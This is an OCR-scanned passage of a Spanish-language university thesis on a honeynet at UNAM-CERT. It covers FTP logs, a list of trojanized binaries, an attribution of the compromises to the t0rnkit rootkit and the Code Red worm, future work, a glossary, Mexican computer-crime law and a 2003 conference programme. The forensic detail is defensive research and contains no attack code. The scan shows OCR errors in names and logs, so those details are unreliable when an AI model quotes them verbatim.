Sep 7 23:48:10 sidra,super.unam.mx ftpd[2429]: User unknown timed out after 900

seconds at Sat Sep 7 23:47:34 2002

Sep 7 23:48:10 sidra.super.unam.mx ftpd[2429]: FTP session closed

Sep B8 05:37:34 sidra.super.unam.mx ftpd[5292]: ANONYMOUS FTP LOGIN FROM 211.55.75.217
[211.55.75.217], mozilla®

Sep 8 05:41:39 sidra.super.unam.mx ftpd[6302): ANONYMOUS FTP LOGIN FROM 210.103.80.10
[210.103.80,10], mozilla®@

Sep 8 05:43:09 sidra.super.unam.mx ftpd[5291]): FTP session closed

Sep 9 02:00:43 sidra.super.unam.mx ftpd[6345]: ACCESS DENIED (error reading access

file) TD 212.212.6.230 [212.212.6.230]

Sep 9 02:00:43 sidra.super.unam.mx ftpd[6345): FTP LOGIN REFUSED (access denied) FROM
212.212.6.230 [212.212.6.230], ftp

Sep 9 02:00:44 sidra.super.unam.mx ftpd[6345]: FTP session closed

Sep 9 02:00:57 sidra.super.unam.mx ftpd[6348]): cannot open access file /etc/ftpaccess:

No such file or directory

Sep 9 02:01:01 sidra.super.unam.mx ftpd[6349]): cannot open access file /etc/ftpaccess:

No such file or directory

Sep 9 02:01:04 sidra.super.unam.mx ftpd[6349]: ACCESS DENIED (error reading access

file) TD 212.212.6.230 [212.212.6.230]
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Sep 9 02:01:04 sidca.super.unam.mx ftpd[6349]: FTP LOGIN REFUSED (access denied)
FROM 212.212.6.230 [212.212.6.230], ftp

Sep 9 02:01:05 sidra.super.unam.mx ftpd[6348]): FTP session closed

Sep 9 02:01:05 sidra.super.unam.mx ftpd[6349]: FTP session closed

Archivos Troyanos
Los siguientes archivos binarios del sistema estan troyanizados:

/bin/
f/etc/bashrc
/bin/1sof
/bin/1ps
/bin/ps
/bin/1sp
/bin/1ls
/bin/lnetstat
/bin/netstat
/bin/shad
/bin/me
/bin/1find
/bin/find
/bin/du
/bin/syslogd
/bin/ifconfig

Al revisar la evindecia encontrada en el honeypot comprometido se llega a la conclusion
que el ataque fue provocado por una herramienta automética conocida como tOrnkit! la
cual explota la version de ftp instalada en el Honeypot Linux RedHat 6.2. Se concluye esto
ya que se encontré almacenamiento de contrasenas en el archivo /etc/ttyhash, asi como la
instalacién de caballos de troya para el programa sshd configurado para poder escuchar en
un puerto determinado, localizacién de archivos de configuracién de caballos de troya para
ocultar nombres de archivos, procesos, etc., reemplazo de archivos binarios por caballos
de troya, instalacién de un sniffer capturador de contrasenas.

5.3. Presentacion de Honeynet

El 6 de Marzo de 2003 fue presentado el trabajo realizado en los primeros 6 meses
de la puesta en marcha de la Honeynet-DSC' esto se llevo acabo durante el Congreso de
Seguridad en Cémputo 2003° en El Antiguo Colegio de San Ildefonso con la conferencia
titulada Implementacion y Ezperiencias de la Honeynet del Departamento de Segquridad en
Computo. Para mayor detalle revisar el Apéndice C Programa de Conferecnias, Congreso
de Sequridad en Cémputo 2003°.

“tOrnkit, este ezploit es descrito en el boletin de seguridad del CERT: http://www.cert.org/incident
notes/IN-200-10

SCongreso de Seguridad en Computo http://congreso.seguridad.unam.mx
http://www.seguridad2003.unam.mx/seguridad2003/

SApéndice C Programa de Conferecnias, Congreso de Sequridad en Cémputo 2003 en la pagina 184.
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5.4. Trabajos Futuros

A lo largo del presente trabajo fueron descritas varias tecnologias Honeypot, algunas
fueron descritas mas a detalle y se pudo comparar su nivel de interaccién; estas tecnologias
son buenas para la investigacion de amenazas de seguridad, pero pueden ser mejoradas,
existen algunas tecnologias honeypot que seran desarrolladas y se describen a continuacién.

5.4.1. Honeynet de Segunda Generaciéon (Gen II)

Ahora que ya se ha implementado una honeynet de primera generacion se continuard con
el desarrollo de una mejor honeynet, la Honeynet-DSC' es buena herramienta para estudiar
amenazas, pero es necesario mejorar los mecanismos de deteccion, control de datos, y
registro. Para esto se continuara con el diseno e implementacion de una honeynet de sequnda
generacion (Gen II) la cual pueda proporcionar mejores mecanismos de control de acceso;
existen en la actualidad las herramientas necesarias para implementar este tipo de tecnologia.

La honeynet de segunda generacién comenzard su investigacion sobre las amenazas de
seguridad en cémputo en un futuro cercano, esperando capturar las méas avanzadas técnicas
de intrusion.

5.4.2. Honeynet Virtual

Como se pudo apreciar en el capitulo anterior son muchos los recursos requeridos en
una honeynet, esto tiene muchos inconvenientes para muchas organizaciones que estan
interesadas en la investigacién de amenazas de seguridad ya que en muchas ocasiones no
se pueden tener los recursos de cémputo que estén dedicados para este fin, ya que en
algunos casos los recursos con los que cuenta la organizacién son insuficientes para su
funcionamiento, ahora, si se considera que es necesario que estos recursos sean de uso
exclusivo de la honeynet, lo cual significa que no pueden ser utilizados para procesos
de produccion, muchas organizaciones mejor se olvidan del caso y se enfocan en otras
prioridades.

Una opcién que puede utilizarse son las honeynets virtuales” que consisten de un solo
equipo de computo, en el cual conviven los diferentes requerimientos de una honeynet.

Se continuard con la implementacion de una honeyet virtual que contribuya en la investi-
gacion de amenazas sin emplear demasiados recursos de computo pues seran instalados todos
los requerimientos necesarios para implementar una honeynet en un solo equipo de cémputo
y ayudard a continuar con la investigacion de amenazas de seguridad en computo.

"Para major informacién pasar capitulo 3 en la seccion 3.7
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5.5. Conclusiones

Bas4ndose en la evidencia encontrada en el primer ataque al honeypot que se encontraba
ejecutando Windows 2000 Advanced Server se determina que fue llevado a cabo por el
gusano CODE RED.

El segundo ataque al sistema Linur Red Hat 6.2 fue llevado a cabo por el kit de
herramientas llamado TornKit cabe senalar que este es una herramienta automatica, por lo
cual no es necesaria intervencién humana.

Ambos ataques provienen de herramientas automaticas, y ambos fueron capturados en la
honeynet para un analisis mds profundo, ademéas de mostrar su funcionamiento y agresividad.

Las tecnologias honeypot y honeynet son una poderosa herramienta que ayudard a
complementar los mecanismos de seguridad en cémputo, no hay que olvidar que no son
una solucion, durante este trabajo de tesis no se ensena en ningin momento a mejorar
la seguridad de una organizacion, por el contrario este tipo de tecnologias pueden atraer
a intrusos al ambiente de produccién, por lo que se debe de tener mucho cuidado al
implementar cualquier tecnologia honeypot o honeynet. Se puede aprender mucho sobre las
diferentes amenazas de seguridad, y puede ayudar a fomentar la cultura de la seguridad en
computo.

En los tultimos anos el interés y los resultados obtenidos con el uso de estas tecnologias
han ayudado a conocer ataques sofisticados, han ayudado a conocer el comportamiento
de los intrusos, y ha originado una nueva area de especializacién dentro del campo de
la sequridad en computo, aunquelos honeypots no son mas una tecnologia nueva o en
crecimiento, han demostrado su utilidad y son utilizados ya en amplios sectores interesados
en estudiar amenazas de seguridad o mejorar sus esquemas de seguridad.

Se han conformado grupos de investigadores en todo el mundo y México no es la
excepcion el Proyecto Honeynet Mézico es una realidad y asi para casi 20 paises que con
sus propios proyectos de investigacion trabajan de manera conjunta para investigar las
mas avanzadas técnicas de intrusién. Creo que este tipo de tecnologias continuaran en
crecimiento, aunque también se debe mencionar que estas tecnologias se encuentran en
discusién en diferentes foros de seguridad, ya que se comenta que no son tecnologias vélidas
que los procesos o mecanismos que utilizan no son éticos, que son elementos de espionaje,
por todas estas controversias creo que las tecnologias honeynet y honeypot tiene un gran
futuro por delante y lo que méds me ha impresionado, al comienzo de este proyecto la
informacién referente a este tema era escasa, hoy dia la informacién referente a esta tema
es bastante amplia y bien documentada.

Por otra parte las tecnologias honeynet y honeypots cada vez cubren otros terrenos
dentro de las areas de la segurdad en cémputo, es decir los honeypots son utilizados en
andlisis forense, sistemas de deteccion de intrusos, sequridad en sistemas Uniz, Sequridad
en sistemas Windows, etc. Es decir al inmiscuirse en los honeypots se tiene un acercamiento
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con muchos tépicos sobre seguridad en cémputo por no decir que con casi todos y mds
ahora que los honeypots pueden ser implementados en cualquier cosa que tenga que ver con
tecnologia y fraude contra esta tecnologia.

Para finalizar solo comentar el gran entusiasmo, conocimiento y satlsfaccxon que logre al
trabajar con estas tecnologias.
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Apéndice A
(Glosario

Analisis Forense

Técnica utilizada para realizar un analisis a un sistema que ha sido comprometido, el
objetivo es conocer como ocurrié este incidente.
BackOrifice

El Back Orifice es un programa de denominado Caballo de Troya. Los Caballo de Troya se

instalan en un equipo y permiten, desde dentro, ofrecer una puerta trasera para la realizacion
de algin tipo de actividad no permitida.
Binario

Archivo que contiene codigos y caracteres que sélo pueden ser utilizados por tipo es-
pecifico de software. Los mas comunes son los archivos ejecutables, graficos y documentos
con formato.
Byte

Conjunto de 8 bits. Suele representar un valor asignado a un caracter.

Cifrado

Cifrado es un método secreto de escritura por el cual un texto plano es convertido en un
texto cifrado.
Correo electréonico “e-mail”

El correo electrénico es un sistema de comunicacion avanzada que permite el intercambio
de mensajes entre usuarios de un sistema de cémputo.
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Dispositivos de Deteccion de Intrusos de Red “Network Intrusion Detection
Devices”

Mecanismos que se encargan de la deteccion de intrusos en la red, su funcionamiento
consiste en comparar las tramas de los paquetes que viajen a través de ellos con ataques
previamente conocidos.

Direccion IP

La direcciéon del protocolo de Internet (IP) es la direccion numérica de una computadora
en Internet. Cada direccién electrénica se asigna a una computadora conectada a Internet y
por lo tanto es unica. La direccién IP esta compuesta de cuatro octetos como 132.248.53.10.

Direccion MAC

Es el identificador 1inico que es grabado en la tarjeta de red.

DNS

Sistema de nombres de dominios (Domain Name System) Es un sistema que se establece
en un servidor (que se encarga de un dominio) que traduce nombres de computadoras
(como servidor.dgsca.unam.mx) a domicilios numéricos de Internet (direcciones IP) (como
132.248.10.1).

Dominio

Conjunto de computadoras que comparten una caracteristica comun, como el estar en
el mismo pafs. en la misma organizacién o en el mismo departamento. Cada dominio es
administrado por un servidor de dominios.

Escaneos

Es el método utilizado para obtener informacién sobre un sistema como puede ser tipo
de sistema operativo, version, aplicaciones ejecutadas, etc.
Exploits

Programa que aprovecha alguna vulnerabilidad de algtin sistema o aplicacién con el ob-
jetivo de comprometer al sistema vulnerable.
Firewall

Un firewall es un sistema de defensa que se basa en la instalacién de una barrera entre
una maquina y la red, por la que circulan todos los datos.
FTP

Aplicaciéon que desplaza archivos utilizando el Protocolo de transferencia de archivos.
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Gusano (worm)

Programa que se duplica y propaga a través de una red. El primer gusano fue definido en
1982 por Shoch and Hupp de Xerox en ACM Communications. Una caracteristica de estos
programas es que solo pueden afectar computadoras que utilicen el mismo sistema operativo.

Host

Computadora a la que se tiene acceso de diversas formas (telnet, FTP, World Wide
Web, etc). Es el servidor que provee de la informacién que se requiere para realizar algin
procedimiento desde una aplicacion cliente.
HTTP

Protocolo de Transferencia de Hipertextos (Hiper-Text Transfer Protocol). Es el protocolo
usado por el Word Wide Web para transmitir paginas HTML.
Inetd

Inetd, es basicamente un demonio que controla los servicios que puede ofrecer una
maquina conectada a Internet.
IMAP

Protocolo de Acceso a Mensajes de Internet (Internet Message Access Protocol). Pro-
tocolo disenado para permitir la manipulacién de buzones remotos como si fueran locales.
IMAP requiere de un servidor que haga las funciones de oficina de correos pero en lugar
de leer todo el buzén y borrarlo, solicita sélo los encabezados de cada mensaje. Se pueden
marcar mensajes como borrados sin suprimirlos completamente, pues estos permanecen en
el buzon hasta que el usuario confirma su eliminacién. Un programa caracteristico es Pine.

IP. Protocolo Internet

Permite a un paquete de datos viajar a través de miltiples redes hasta alcanzar su destino.
Se encarga de la capa de red del modelo OSI.
LAN Red de area local (local area network)

Red cuyas dimensiones no exceden 10 km. Puede tratarse de computadoras conectadas
en una oficina, en un edificio o en varios.
Pagina web

Es el resultado en hipertexto e hipermedia que proporciona un visualizador de World
Wide Web después de obtener la informacién solicitada.
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Paquete (packet)

La unidad de datos que se envia a través de una red. Un paquete se compone de un
conjunto de bits que viajan juntos.

Perl.

Lenguaje de programacion utilizado en el World Wide Web a través de un CGI, princi-
palmente para realizar consultas a bases de datos como Oracle, SQL-Server, SyBase, etc, o
a herramientas locales como WAIS. Perl es un lenguaje para manipular textos, archivos y
procesos, proporciona una forma facil y legible para realizar trabajos que normalmente se
realizarfan en C o en un shell. Perl nacié y se ha difundido bajo el sistema operativo UNIX,
aunque existe para otras plataformas. Perl fue desarrollado por Larry Wall, y estd distribuido
libremente bajo la filosofia de la GNU.

Ping

Ping es un comando que tanto en Linux como en Windows (y de hecho también en
otros sistemas operativos), envia un determinado mimero de paquetes (de datos) y de cierto
tamano a través de la red a una direccion IP remota desde la maquina en donde se ejecuta, la
maquina remota debe responder y con esto se comprueba basicamente que el enlace TCP/IP
esta funcionando entre estos dos recursos (equipos) de la red.

Puente (bridge)

Los puentes son dispositivos que tienen usos definidos. Primero, pueden interconectar
segmentos de red a través de medios fisicos diferentes; por ejemplo, no es poco comin ver
puentes entre cable coaxial y de fibra éptica. Ademas, pueden adaptar diferentes protocolos
de bajo nivel (capa de enlace de datos y fisica de modelo OSI).

Puerta Trasera “backdoor”

Mecanismo utilizado por los intrusos para asegurar el regreso al sistema comprometido.

Puerto

Uno de los canales de entrada/salida de una computadora.

Ruteador

El ruteador es un dispositivo de propdsito general disenado para segmentar la red, con la
idea de limitar trafico de broadcast y proporcionar seguridad, control y redundancia entre
dominios individuales de broadcast.

Sistema operativo

El sistema operativo es el conjunto de programas bésicos y utilidades que hacen que
funcione la computadora.
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SMTP (Simple Mail Transfer Protocol)

Protocolo que se usa para transferir correo electrénico entre servidores de correo. Como
s6lo transfiere mensajes entre servidores, el usuario debe utilizar otro protocolo para acceder
los mensajes como POP o IMAP.

Spammers

Persona que se dedica al envio de correo spam.

TCP. Protocolo de Control de Transmisién (Transfer Control Protocol)

Es el protocolo que se encarga de la transferencia de los paquetes a través de Internet. Se
encarga de que los paquetes lleguen al destino sin ningin error o pide su reenvio. Se encarga
de la capa de transporte del modelo OSIL
Tcp Wrappers

Tep wrappers es un programa que filtra las peticiones, y hace una u otra cosa de pendi-
endo del demonio a lanzar y de la IP que pide el servicio.

Telnet

Protocolo de emulacién de terminal que permite establecer una sesién remota a otra
computadora en Internet.
Whois

Whois es un sistema que permite obtener informacién (direccion, teléfono) de usuarios
de Internet, especialmente para personas que pertenecen a una organizacion especifica.
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Apéndice B

Acceso ilicito a sistemas y equipos de
informatica

CODIGO PENAL FEDERAL
LIBRO SEGUNDO

TITULO NOVENO REVELACION DE SECRETOS Y ACCESO ILICITO A SIS-
TEMAS Y EQUIPOS DE INFORMATICA

CAPITULO II ACCESO ILICITO A SISTEMAS Y EQUIPOS DE INFORMATICA

ARTICULO 211 bis 1

AL QUE SIN AUTORIZACION MODIFIQUE, DESTRUYA O PROVOQUE PERDI-
DA DE INFORMACION CONTENIDA EN SISTEMAS O EQUIPOS DE INFORMATICA
PROTEGIDOS POR ALGUN MECANISMO DE SEGURIDAD, SE LE IMPONDRAN DE
SEIS MESES A DOS ANOS DE PRISION Y DE CIEN A TRESCIENTOS DIAS MULTA.

AL QUE SIN AUTORIZACION CONOZCA O COPIE INFORMACION CONTENI-
DA EN SISTEMAS O EQUIPOS DE INFORMATICA PROTEGIDOS POR ALGUN
MECANISMO DE SEGURIDAD, SE LE IMPONDRAN DE TRES MESES A UN ANO
DE PRISION Y DE CINCUENTA A CIENTO CINCUENTA DIAS MULTA.

ARTICULO 211 bis 2

AL QUE SIN AUTORIZACION MODIFIQUE, DESTRUYA O PROVOQUE PERDI-
DA DE INFORMACION CONTENIDA EN SISTEMAS O EQUIPOS DE INFORMATICA
DEL ESTADO, PROTEGIDOS POR ALGUN MECANISMO DE SEGURIDAD, SE LE
IMPONDRAN DE UNO A CUATRO ANOS DE PRISION Y DE DOSCIENTOS A
SEISCIENTOS DIAS MULTA.
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AL QUE SIN AUTORIZACION CONOZCA O COPIE INFORMACION CONTENIDA
EN SISTEMAS O EQUIPOS DE INFORMATICA DEL ESTADO, PROTEGIDOS POR
ALGUN MECANISMO DE SEGURIDAD, SE LE IMPQNDRAN DE SEIS MESES A DOS
ANOS DE PRISION Y DE CIEN A TRESCIENTOS DiAS MULTA.

ARTICULO 211 bis 3

AL QUE ESTANDO AUTORIZADO PARA ACCEDER A SISTEMAS Y EQUIPOS
DE INFORMATICA DEL ESTADO, INDEBIDAMENTE MODIFIQUE, DESTRUYA O
PROVOQUE PERDIDA DE INFORMACION QUE CONTENGAN, SE LE IMPONDRAN
DE DOS A OCHO ANOS DE PRISION Y DE TRESCIENTOS A NOVECIENTOS DiAS
MULTA.

AL QUE ESTANDO AUTORIZADO PARA ACCEDER A SISTEMAS Y EQUIPOS
DE INFORMATICA DEL ESTADO, INDEBIDAMENTE COPIE INFORMACION QUE
CONTENGAN, SE LE IMPONDRAN DE UNO A CUATRO ANOS DE PRISION Y DE
CIENTO CINCUENTA A CUATROCIENTOS CINCUENTA DIAS MULTA.

ARTICULO 211 bis 4

AL QUE SIN AUTORIZACION MODIFIQUE, DESTRUYA O PROVOQUE PERDIDA
DE INFORMACION CONTENIDA EN SISTEMAS O EQUIPOS DE INFORMATICA DE
LAS INSTITUCIONES QUE INTEGRAN EL SISTEMA FINANCIERO. PROTEGIDOS
POR ALGUN MECANISMO DE SEGURIDAD, SE LE IMPONDRAN DE SEIS MESES
A CUATRO ANOS DE PRISION Y DE CIEN A SEISCIENTOS DIAS MULTA.

AL QUE SIN AUTORIZACION CONOZCA O COPIE INFORMACION CONTENIDA
EN SISTEMAS O EQUIPOS DE INFORMATICA DE LAS INSTITUCIONES QUE
INTEGRAN EL SISTEMA FINANCIERO, PROTEGIDOS POR ALGUN MECANISMO
DE SEGURIDAD, SE LE IMPONDRAN DE TRES MESES A DOS ANOS DE PRISION
Y DE CINCUENTA A TRESCIENTOS DiAS MULTA.

ARTICULO 211 bis 5

AL QUE ESTANDO AUTORIZADO PARA ACCEDER A SISTEMAS Y EQUIPOS
DE INFORMATICA DE LAS INSTITUCIONES QUE INTEGRAN EL SISTEMA FI-
NANCIERO, INDEBIDAMENTE MODIFIQUE, DESTRUYA O PROVOQUE PERDIDA
DE INFORMACION QUE CONTENGAN, SE LE IMPONDRAN DE SEIS MESES A
CUATRO ANOS DE PRISION Y DE CIEN A SEISCIENTOS DIAS MULTA.

AL QUE ESTANDO AUTORIZADO PARA ACCEDER A SISTEMAS Y EQUIPOS
DE INFORMATICA DE LAS INSTITUCIONES QUE INTEGRAN EL SISTEMA FI-
NANCIERO. INDEBIDAMENTE COPIE INFORMACION QUE CONTENGAN, SE LE
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IMPONDRAN DE TRES MESES A DOS ANOS DE PRISION Y DE CINCUENTA A
TRESCIENTOS DIAS MULTA.

LAS PENAS PREVISTAS EN ESTE ARTICULO SE INCREMENTARAN EN UNA
MITAD CUANDO LAS CONDUCTAS SEAN COMETIDAS POR FUNCIONARIOS
O EMPLEADOS DE LAS INSTITUCIONES QUE INTEGRAN EL SISTEMA FI-
NANCIERO.

ARTICULO 211 bis 6

PARA LOS EFECTOS DE LOS ARTICULOS 211 BIS 4 Y 211 BIS 5 ANTERIORES,
SE ENTIENDE POR INSTITUCIONES QUE INTEGRAN EL SISTEMA FINANCIERO,
LAS SENALADAS EN EL ARTICULO 400 BIS DE ESTE CODIGO.

ARTICULO 211 bis 7

LAS PENAS PREVISTAS EN ESTE CAPITULO SE AUMENTARAN HASTA EN
UNA MITAD CUANDO LA INFORMACION OBTENIDA SE UTILICE EN PROVECHO
PROPIO O AJENO.
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Apéndice C

Congreso de Seguridad en Cémputo

2003

Programa de conferencias
Jueves, 6 de Marzo del 2003

Nombre de la Ponencia

Ponente

Institucion

Inauguracién

Dr. Juan Ramoén de

la Fuente

Mtro. Jorge Luis
[barra Mendivil

Dr. Alejandro
Pisanty Baruch.
Luis Andrés
Hernandez.

Dra. Genevieve
Lucet Lagriffoul.

Lic. Juan Carlos
Guel Lépez

Rector de la
Universidad Nacional
Auténoma de México.
Secretario General
Ejecutivo, Asociacion
Nacional de
Universidades e
Instituciones de
Educacion Superior
Director General,
DGSCA-UNAM.
Director de Gobierno y
Educacién para
Directora de Cémputo
para la Investigacion.
DGSCA-UNAM.

Jefe del Departamento
de Seguridad en
Coémputo/UNAM-CERT.

Red Nacional de
Seguridad en
Coémputo
UNAM-ANUIES

Mtro. José Luis
Ponce Lopez.
Llc. Juan Carlos
Guel Lépez.

Director de Cémputo y
Sistemas ANUIES

Jefe del Departamento
de Seguridad en
Coémputo/UNAM-CERT.
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Nombre de la Ponencia

Ponente

Institucion

Modelo de Proteccion
Eléectrica en
[nstituciones de
Sistemas de Cémputo y
Comunicaciones

Fis. Juan Antonio
Herrera

Jefe del Departamento
de Teleinformatica.
Universidad Auténoma
de Yucatéan (UADY).

CERT/CC Overview

lan Finlay

CERT Coordination
Center
EUA

La seguridad una
Decision Integral para
la Computacion
Empresarial

Ing. Rafael Garcia.

Symantec, México

Blue Sky... What's
Ahead for Security

Rebecca Gurley Bace
Linda McCarthy
Kirby Kuehl

Marcus Ranum

Infidel, Inc., Trident
Symantec

Cisco
Heretic-at-Large

Funciones
Unidireccionales y su
Aplicacion
Criptografica

M. en C. Ruth A. Rico
Hernandez.

Universidad Auténoma
de Querétaro

Implementacion y
Experiencias de la
Honeynet del
Departamento de
Seguridad en Cémputo

Rubén Aquino Luna.
José Inés Gervacio
Gervacio.

Departamento de
Seguridad en
Cémputo/ UNAM-CERT

Mas Alla de los Virus

Daniel Ortiz

Trend Micro.

Secure the Internet
Microsoft Network
with some Emphasis on
Comlog and LogAgent

Adam Richard.

SecurelT.
Canada.

Computer Crime
(Procedural
LawsText)

Richard Downing

Seniour Counsel.
Computer Crime and
Intellectual Property
Section

U.S. Department of
Justice

http:/ /www. sequridad2003.unam.mz/sequridad2003 /ponencias/
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